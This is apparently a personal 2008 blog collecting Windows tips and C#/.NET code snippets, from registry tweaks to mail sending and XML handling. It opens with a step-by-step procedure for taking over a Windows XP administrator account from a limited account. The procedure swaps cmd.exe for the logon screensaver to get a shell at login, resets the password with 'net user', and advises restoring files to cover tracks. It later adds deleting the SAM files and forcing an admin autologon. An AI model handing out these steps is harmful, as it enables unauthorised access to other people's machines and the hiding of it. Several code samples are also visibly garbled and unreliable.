Monday, October 27, 2008

WINDOWS TIPS COLLECTION

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks



Registry Hacking

Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Menu Delays:

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

GPEDIT.MSC And Autoplay

A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.

Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

Automatically Kill Programs At Shutdown:

don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.

Speeding Up Share Viewing:

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!

Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

Speed up Internet Explorer 6 Favorites
For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.

Aspi

WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.




Another way ...

Boot from win98 cd, delete the SAM, SAM.SAV, SAM.LOg files ( in sytem32/config folder ). Note: don't delete SAM.exe.

Wednesday, October 22, 2008

Reset Visual Studio toolbox

When I created a Windows Mobile project, the controls in Toolbox were missing. In place of the usual controls is a tab labelled "#13119". The usual remedy of right-clicking the Toolbox and then selecting Reset Toolbox did not help.

After some searching of Visual Studio folders, I finally found the solution. You need to navigate to the following folder:

C:\Documents and Settings\\Local Settings\Application Data\Microsoft\VisualStudio\9.0

And within this folder are some hidden files. Simply remove the following files:

"toolbox.tbd", "toolboxIndex.tbd", "toolbox_reset.tbd", "toolboxIndex_reset.tbd"

Then restart Visual Studio 2008. Your controls should now come back up! ;-)

Tuesday, October 14, 2008

linkserver Query syntax

SELECT CONVERT(varchar(30), Org_Insert_Date, 103) AS Expr1, Org_Insert_Date
FROM NewBusiness_Listing
WHERE (BList_Id = 10012)




CONVERT(varchar(30),, 103)




frmReports obj = new frmReports();
obj.Owner = this;
this.Visible = false;
obj.Visible = true;


SELECT:

select * from openquery(’my_linked_server’, ’select * from table_schema.table_name’)

INSERT:

insert openquery(’my_linked_server, ’select column_1, column2 from table_schema.table_name’)
values (’my_value1', ‘my_value2')

UPDATE:

update openquery(’my_linked_server, ’select column_1, column_2 from table_schema.table_name where pk = pk_value’)
set column_1 = ‘my_value1', column_2 = ‘my_value2'

DELETE:

delete from openqueryopenquery(’my_linked_server, ’select * from table_schema.table_name where pk = pk_value’)

Saturday, October 11, 2008

Change Back Colour of Mdi form

copy past the code in form load event


MdiClient ctlMDI;

// Loop through all of the form's controls looking
// for the control of type MdiClient.
foreach (Control ctl in this.Controls)
{
try
{
// Attempt to cast the control to type MdiClient.
ctlMDI = (MdiClient) ctl;

// Set the BackColor of the MdiClient control.
ctlMDI.BackColor = this.BackColor;
}
catch (InvalidCastException exc)
{
// Catch and ignore the error if casting failed.
}
}

GetType(),typeof,obj is Form3

foreach(Form frm in mdiParent.MdiChildren) //where mdiParent is the MDI
Container...
{
if(form.GetType() == typeof(FormToClose)) //where FormToClose is Form
you want to close...
form.Close();
}


foreach (Form obj in MdiChildren)
{
if (obj is Form3)
{
obj.WindowState = FormWindowState.Maximized;
}
}

Friday, October 10, 2008

BackgroundWorker

public partial class frmLogin : Form
{
BackgroundWorker initData;
public frmLogin()
{
InitializeComponent();
initData = new BackgroundWorker();
InitializeBackgoundWorker();
}

private void InitializeBackgoundWorker()
{
initData.DoWork += new DoWorkEventHandler(init_DoWork);
initData.RunWorkerAsync();
}


void init_DoWork(object sender, DoWorkEventArgs e)
{
Data.Read_Data();
ReportData.fillData();
}

How to do auto page refresh in ASPX

How to do auto page refresh in ASPX

If you have a requirement something like auto redirect page to login page or auto refresh the current window within 10 sec or auto close window after 10 sec then you can write some lines of code in java script to achieve this


There are multiple ways to auto refresh/auto close browser, some very simple ways are below with examples.


1) Auto page refresh à you can write below code inside tag on top of your ASPX page






Note: Content takes two parameter 1)
2)


2) Auto page redirect à you can write below code inside tag on top of your ASPX page







Note:
http-equiv="Refresh" à This tag will do page auto refresh
content="," à action when page refresh


3) Auto new page open à If you want to open new window after 10 sec then you can create a java script function say "OpenNewWindow" and use this function like below







Note: content="," , 650 =height 1000= width.

function OpenNewWindow(url, h, w)
{
window.open(url,"","width=" + w + ",height=" + h + ",scrollbars=yes,resizable=yes,toolbar=yes,menubar=yes,location=yes,
directories=no,status=yes,left=5,top=5");
}


4) Auto page close à if you want to close the browser after 10 sec then write below code on top of your ASPX page

//OR


How to Read/Write xml string in different way using C#.net
How to Read/Write xml string in different way using C#.net



Namespace



using System.Xml;
using System.Xml.Xsl;
using System.Xml.XPath;
using System.IO;
using System.Text;

Example Value



string xmlProduct = "
100
"


Read XML




1) First way you can read string xml using dataset



StringReader productDetails = new StringReader(xmlProduct);
DataSet dsProduct = new DataSet();
dsProduct.ReadXml(productDetails);



2) If you have proper XML format value in file




DataSet dsProduct = new DataSet();
dsProduct.ReadXml("C:\Read.xml");



3) You can use XmlTextReader to read xml




string nodeText; int depth;
//In this way you can convert Xmlstring to memoryStream
byte[] data = Encoding.ASCII.GetBytes(xmlProduct);
MemoryStream memStream = new MemoryStream(data);

XmlTextReader textReader = new XmlTextReader(memStream);
XmlNodeType nodeType;



while (textReader.Read())
{
textReader.MoveToFirstAttribute();
nodeType = textReader.NodeType;
if (nodeType.CompareTo(XmlNodeType.Attribute) == 0)
{
nodeText = textReader.Value;
depth = textReader.Depth;
}
}



4) You can use CmlDocument object to read xml,This is the best way to read xml string to read node by node and all attributes.



XmlDocument xmlProductDoc = new XmlDocument();
xmlProductDoc.LoadXml(xmlProduct);




for (int i = 0; i < xmlProductDoc.GetElementsByTagName("product").Count;i++)
{
string xmlVal = xmlProductDoc.GetElementsByTagName("product").innerXml;
string xmlAttributeVal = xmlProductDoc.GetElementsByTagName("product").
Attributes ["value"].value;
}





Write XML

1) You can use XmlTesWriter to write xml file

XmlTextWriter myXmlTextWriter = new XmlTextWriter("books.xml", null);
myXmlTextWriter.Formatting = Formatting.Indented;
myXmlTextWriter.WriteStartDocument(false);
myXmlTextWriter.WriteDocType("bookstore", null, "books.dtd", null);
myXmlTextWriter.WriteComment("This file represents inventory database");
myXmlTextWriter.WriteStartElement("bookstore");
myXmlTextWriter.WriteStartElement("book", null);
myXmlTextWriter.WriteAttributeString("genre", "autobiography");
myXmlTextWriter.WriteAttributeString("publicationdate", "1990");
myXmlTextWriter.WriteAttributeString("ISBN", "0-4567-123-9");
myXmlTextWriter.WriteElementString("title", null, "Baby book");
myXmlTextWriter.WriteStartElement("Author", null);
myXmlTextWriter.WriteElementString("first-name", "Ritesh");
myXmlTextWriter.WriteElementString("last-name", "Kesharwani");
myXmlTextWriter.WriteEndElement();
myXmlTextWriter.WriteElementString("price", "8.9");
myXmlTextWriter.WriteEndElement();
myXmlTextWriter.WriteEndElement();
//Write the XML to file and close the myXmlTextWriter
myXmlTextWriter.Flush();
myXmlTextWriter.Close();



2) Basic way to write xml into file

http://riteshk.blogspot.com/2005/03/how-to-readwrite-into-xml.html

HTTP Handlers and HTTP Modules in ASP.NET

Good article posted by Mansoor Ahmed Siddiqui in 15Second on HTTP Handlers and HTTP Modules in ASP.NET, see below link

http://www.15seconds.com/issue/020417.htm

Client Side Script Debugging in ASP.NET

Another good article for client side script debugging in ASP.NET
http://www.beansoftware.com/ASP.NET-Tutorials/Client-Script-Debugging.aspx

PROGRAMATICALLY CONFIGURATION FILES ENCRYPTION AND DECRYPTION USING C#.NET

PROGRAMATICALLY CONFIGURATION FILES ENCRYPTION AND DECRYPTION USING C#.NET
In .Net application (web/window) configuration file we used to make application setting as configurable. Each and every time you need not to compile your project for any setting changes in the configuration file. This configuration file present in virtual directory of the application. When you deploy the application, it can be editable by the users who have all permission for that deployment server and one server can have several applications, this time it is necessary to keep your application configuration file secure or use encrypted configuration file to secure your application setting data.
Previously we used to write encryption decryption function using different .Net notation (like: SHA, MD5 etc) and manually updating configuration file. Here I am giving new way to do same task programmatically, you can do encrypt or decrypt any project configuration file appSettings or connectionStrings sections programmatically
ASP.NET 2.0 and above makes it extremely easy to encrypt connection strings, encrypt application settings, and encrypt config sections in Web.config either via the command prompt with aspnet_regiis or programmatically in your web applications.
Source Code:
Create application to encrypt or decrypt configuration file using C#/VB.Net windows or web application.
Here I am creating window application using C#.net, Follow the simple four steps to create application.
1) app.config file sections Before Encryption
For example:




2) app.config file sections After Encryption
For example:



MSDFSDFGSSD$SFSD%VAAAAAAGDFGDFGGGGGGGVBCXBVBVCBBVCVBVCBBBTYRTYRTY%UUUUUUUU



2) You can design your window form something like below

3) Code for Encrypt and Decrypt button
NameSpace
using System.Web.Configuration;
Call following function from Encrypt button code behind
Function for Encryption
private int EncryptConfigurationSection(string fileName, string sectionName, string provider)
{
//Creates a FileMap Object to store the File Name of Configuration File
ExeConfigurationFileMap FileMap = new ExeConfigurationFileMap();
//Assigning the File Name to the File Map
FileMap.ExeConfigFilename = fileName;
//Retrieving the Configuration from the File Provided
Configuration config =
ConfigurationManager.OpenMappedExeConfiguration(FileMap, ConfigurationUserLevel.None);
//Checking if the File Provided is a Configuration File Or Not
if (config.HasFile) {
//Retrieve the Section from the Configuration Object
ConfigurationSection section = config.GetSection(sectionName);
//Check if the Section is not null or is not Previously Protected
if (section != null && !section.SectionInformation.IsProtected) {
//Provide Protection to the Section as per the provider
section.SectionInformation.ProtectSection(provider);
//Save the Configuration object and the File
config.Save();
return 1;
}
else{
if (section != null) {return 3;}
else {return 0;}
}
}
else {return 2;}
}
Function for De-Encryption
Call following function from Dncrypt button code behind
private int DncryptConfigurationSection(string fileName, string sectionName)
{
//Creates a FileMap Object to store the File Name of Configuration File
ExeConfigurationFileMap FileMap = new ExeConfigurationFileMap();
//Assigning the File Name to the File Map
FileMap.ExeConfigFilename = fileName;
//Retrieving the Configuration from the File Provided
Configuration config =
ConfigurationManager.OpenMappedExeConfiguration(FileMap, ConfigurationUserLevel.None);
//Checking if the File Provided is a Configuration File Or Not
if (config.HasFile) {
//Retrieve the Section from the Configuration Object
ConfigurationSection section = config.GetSection(sectionName);
//Check if the Section is not null or is not Previously Protected
if (section != null && section.SectionInformation.IsProtected) {
//Remove the Protection from the Section
section.SectionInformation.UnprotectSection();
//Save the Configuration Object and the File
config.Save();
return 1;
}
else {
if (section != null) {return 3;}
else {return 0;}
}
} else {return 2;}
}
Note:
In the above functions 0 to 3 used for
0 --> Wrong Section as per Configuration file
1 --> Successful Encyprtion/Decryption Information
2 --> Wrong Configuration File name
3 --> Configuration section in file is not encrypted
H/W Platform: Dual Processor with 1 GB RAM
S/W Environment: ASP.NET, VB.NET and C#.NET
Posted by Ritesh_Kesharwani at 1:24 AM
2 comments:
Mark Boyer said...
How do you use the encrypted conf file in the target application?

How does the target application access the encrypted values?
9:52 AM
Ritesh_Kesharwani said...
Hi Mark,

From the .NET code if you type configurationManager.Appsettings["Key"], .NET will internally decript and give the value of "Key" from the config file.

You have to create different utility like .exe and give it to client for encript and decript the data.

How to move web page division on mouse scroll (up/down)

How to move web page division on mouse scroll (up/down)

Following code is an example to move left side portion of the web page on mouse scroll.
The division which you are going to move should be placed before java script; this code can implement in Java or .Net application, this java script function is compatible with Netscape, Mozilla and IE browsers.

Note: This code will activate only when you have horizontal scroll bar in your web page.

//Sample division to move






Your text should go here..


//Java script function to move above division up and down

Send mail using C#.NET 2.0

This article covres following things

  1. Send mail using C#.NET 2.0
  2. Send mail using .NET 1.1 or below version
  3. Send mail using ASP (CDONET)
  4. Domain Validation
  5. Account Validation
  6. Email Address Validation (client side and server side both)

1. Send mail using C#.NET 2.0

In .NET 2.0 we can use new library system.Net.Mail, it provide configuration feature for mail setting. It is reliable and fast. Use following method to send mail.

Namespace

using System.Net.Mail;

C# Code

private bool SendMails(string fromEmailId)

{

try

{ string msgBody = string.Empty;

// Instantiate a new instance of MailMessage

MailMessage mMailMessage = new MailMessage();

// Set the sender address of the mail message

mMailMessage.From = new MailAddress(fromEmailId);

// Set the recepient address of the mail message

mMailMessage.To.Add(new MailAddress("ToEmailId"));

//Get subject from config file

mMailMessage.Subject = "MailSubject";

//encode subject optional

mMailMessage.SubjectEncoding = System.Text.Encoding.UTF8;

//Build Message body based on AccessPtypes

msgBody = BuildMessageBody(reqAccessPtypes);

// Set the body of the mail message

mMailMessage.Body = msgBody;

//encode body optional

mMailMessage.BodyEncoding = System.Text.Encoding.UTF8;

// Set the format of the mail message body as HTML

mMailMessage.IsBodyHtml = true;

// Set the priority of the mail message to normal

mMailMessage.Priority = MailPriority.Normal;

//Set attach files need to send optional

mMailMessage.Attachments.Add(new Attachment("C:\\test.pdf"));

// Instantiate a new instance of SmtpClient

SmtpClient mSmtpClient = new SmtpClient();

// Send the mail message

mSmtpClient.Send(mMailMessage);

}

catch (Exception ex)

{

return false;

}

return true;

}

Setting in web.config

<configuration>

<system.net>

<mailSettings>

<smtp from="defaultEmail@yourdomain.com">

<network host="127.0.0.1" port="25" userName="yourUserName" password="yourPassword"/>

smtp>

mailSettings>

system.net>

configuration>

2. Send mail using .NET 1.1 or below version

Using .NET 1.1 or below version we use library System.Web.Mail, here also you can make mail setting configurable, write all setting in web.config file in AppSettings section. This library method now become obsolete in .NET 2.0 and above version. Use following method to send mail.

Namespace

using System.Web.Mail;

C# Code

private void SendMails(string fromEmailId)

{

try

{

// Instantiate a new instance of MailMessage

MailMessage msg = new MailMessage();

// Set the sender address of the mail message

msg.From = fromEmailId;

// Set the recepient address of the mail message

msg.To = "ToEmailId";

//Get subject from config file

msg.Subject = "MailSubject";

//Build Message body based on AccessPtypes

msg.Body = "Mail Body Text";

// Set the format of the mail message body as HTML

msg.BodyFormat = MailFormat.Html;

//set SMTPServer configuration IP address

SmtpMail.SmtpServer = "SMTPServer";

//send mail

SmtpMail.Send(msg);

}

catch (Exception ex)

{

throw ex;

}

}

3. Send mail using ASP (CDONET)

CDONTS (Collaborative Data Objects for Windows NT Server) provides you with objects and classes that enable you to send email from an ASP page. CDONTS only works on Windows NT/2000 Operating Systems. It supports following feature

  1. send email in HTML Format
  2. set email priority
  3. use the Carbon Copy(CC) and Blind Carbon Copy(BCC) functions as in any email client,
  4. attach files while sending email

You can use following code in ASP page to send mail

<%
Set Mail=Server.CreateObject("CDONTS.NewMail")
Mail.To="me@mydomain.com"
Mail.From="testing-my@SP-Script.com"
Mail.Subject="Just testing my script"
Mail.Body="This is test mail."
Mail.Send
Set Mail=nothing
%>

4. Domain Validation

After sending a mail we need to validate for domain as well as account whether "To" or "From" mail id and domain are valid or not, it can be validate from .NET code using System.Net.Sockets.

Note: Use of sockets requires a trust level above the default "Medium".

Namespace

using System.Net;

using System.Net.Sockets;

C# Code

string email = "recipient@domain.com";

string[] host = email.Split('@');

string hostName = host[1];

Socket socket;

try

{

IPHostEntry entry = Dns.GetHostEntry(hostName);

IPEndPoint endPoint = new IPEndPoint(entry.AddressList[0], 25);

socket = new Socket(endPoint.AddressFamily, SocketType.Stream,

ProtocolType.Tcp);

socket.Connect(endPoint);

}

catch (SocketException ex)

{

// Invalid email.

}

5. Account Validation

if (!CheckSmtpResponse(SmtpResponse.CONNECT_SUCCESS))

{ // invalid account }

//test TEST server

SendData(string.Format("TEST {0}\r\n", Dns.GetHostName()));

if (!CheckSmtpResponse(SmtpResponse.GENERIC_SUCCESS))

{ // invalid account }

//test for sender domain on blacklist

SendData(string.Format("MAIL From: {0}\r\n", _SenderEmail));

if (!CheckSmtpResponse(SmtpResponse.GENERIC_SUCCESS))

{ // invalid account }

//test send

SendData(string.Format("MAIL TO: {0}\r\n", email));

if (!CheckSmtpResponse(SmtpResponse.GENERIC_SUCCESS))

{ // invalid account }

//account is valid!

//utility funtions:

void SendData(string message)

{

byte[] bytes = System.Text.Encoding.ASCII.GetBytes(message);

socket.Send(bytes, 0, bytes.Length, SocketFlags.None);

}

enum SmtpResponse : int {

CONNECT_SUCCESS = 220,

GENERIC_SUCCESS = 250,

DATA_SUCCESS = 354,

QUIT_SUCCESS = 221

}

bool CheckSmtpResponse(SmtpResponse code) {

string responseString;

int responseCode;

byte[] bytes = new byte[1024];

while (socket.Available == 0) {

System.Threading.Thread.Sleep(100);

}

socket.Receive(bytes, socket.Available, SocketFlags.None);

responseString = System.Text.Encoding.ASCII.GetString(bytes);

responseCode = Convert.ToInt32(responseString.Substring(0, 3));

return responseCode.Equals(Convert.ToInt32(code));

}

6. Email Address Validation

Namespace

using System.Text.RegularExpressions;

C# Code

private bool EmailAddressIsValid(string email)

{

string regExPattern = @"^([a-zA-Z0-9_\-\.]+)@((\[[0-9]{1,3}" +

@"\.[0-9]{1,3}\.[0-9]{1,3}\.)(([a-zA-Z0-9\-]+\" +

@".)+))([a-zA-Z]{2,4}[0-9]{1,3})(\]?)$";

Regex regEx = new Regex(regExPattern);

return regEx.IsMatch(email);

}

JavaScript Code

For the client side email validation you can use following javascript function

//Validates the email address given.

var strEmailValidationRegExp = /^([a-zA-Z0-9_\-\.]+)@((\[?[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\]?)(([a-zA-Z0-9\-]+\.)+)([a-zA-Z]{2,4}))$/;

function ValidateEmailAddress()

{

var strEmailToValidate = document.getElementById('txtEmailAddress').value;

//Valid characters allowed in the id.

var regExp = new String();

regExp = strEmailValidationRegExp;

// chk for mandatory field

if(strEmailToValidate.length == 0)

{

alert("Please enter the eMail Address.");

document.getElementById("txtEmailAddress").focus();

retVal = false;

} // chk for valid email address

else if(!regExp.test(strEmailToValidate))

{

alert("Please enter a valid eMail Address.");

document.getElementById("txtEmailAddress").focus();

retVal = false;

}

return retVal;

}